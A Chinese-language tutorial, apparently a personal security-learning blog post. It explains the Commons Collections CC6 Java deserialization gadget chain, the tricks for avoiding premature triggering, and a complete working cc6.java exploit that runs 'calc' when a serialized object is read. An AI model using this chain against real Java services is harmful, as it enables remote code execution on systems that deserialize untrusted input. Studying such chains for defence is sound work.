由于jdk1.8_71以后对AnnotationInvocationHandler这个类进行了处理,然后就导致了cc1链用不了了,然后就诞生了个cc6的链子

就是修改了这个类里边的readObject方法

image-20230319193748245

这就是链子的构造

不受jdk版本的影响,这里的话就直接跟着图片上的链子来走了

这里简单说一下就是这里的话是先HashMap里面的readObject方法,然后到调用到里面的hash方法,然后hash方法就会调用到hashcode方法,然后就接着下面写的就行

就是找到了这个类(TiedMapEntry)

image-20230319194451418

然后找到这个类里边的hashcode方法,这个方法里面调用了getValue

image-20230319194615690

image-20230319194625684

然后getValue里面就会调用到get方法,然后map可控,可以传为Lazymap,然后后面的就和cc1一样了

image-20230319195615382

这里就先把之前写的cc1的东西给复制过来

image-20230319200144657

这里就先进行补充,这里利用put给hashmap里面赋值(hashmap构造函数不能赋值),这里在序列化的时候会调用hashmap里的readObject方法,然后调用里面的hash方法,hash方法里面就会调用tiedMapEntry的hashcode方法,然后这个就会TiedMapEntry里面的getValue方法,然后在调用lazy.get方法,然后其他的就和cc1一样了

但是想法总是好的,这里有一个问题就是我们在put传值的时候,也调用了hash方法,导致在序列化的时候就弹了计算器(和URLDNS那条链类似)

解决办法

image-20230319201415245

按照代码的顺序一行一行看下来,就是在put传参的时候把lazymap里面的值给修改掉,改成一个没啥用的值,然后让他不能执行,(简单点说就是把链子破坏),然后下面再用反射给修改回来

但是这里还不行,这里还是和URLDNS那条链一个样子,就是会新建一个key的值,导致后面反序列化的时候进不来这个if,然后导致调用不到这个put

这个key是Lazymap类里边的

image-20230319202113261

解决办法

就是把这个key给删了

image-20230319202354112

cc6.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {

public static void main(String[] args) throws Exception
{
Transformer[] transformers = new Transformer[]
{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"aaa");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,chainedTransformer);
//serialize(hashMap1);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException
{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

这里的话要把debug时候的自动调用tostring方法给关掉,不然可能会不成功

这里话是不限制jdk版本的,只对cc链的版本进行限制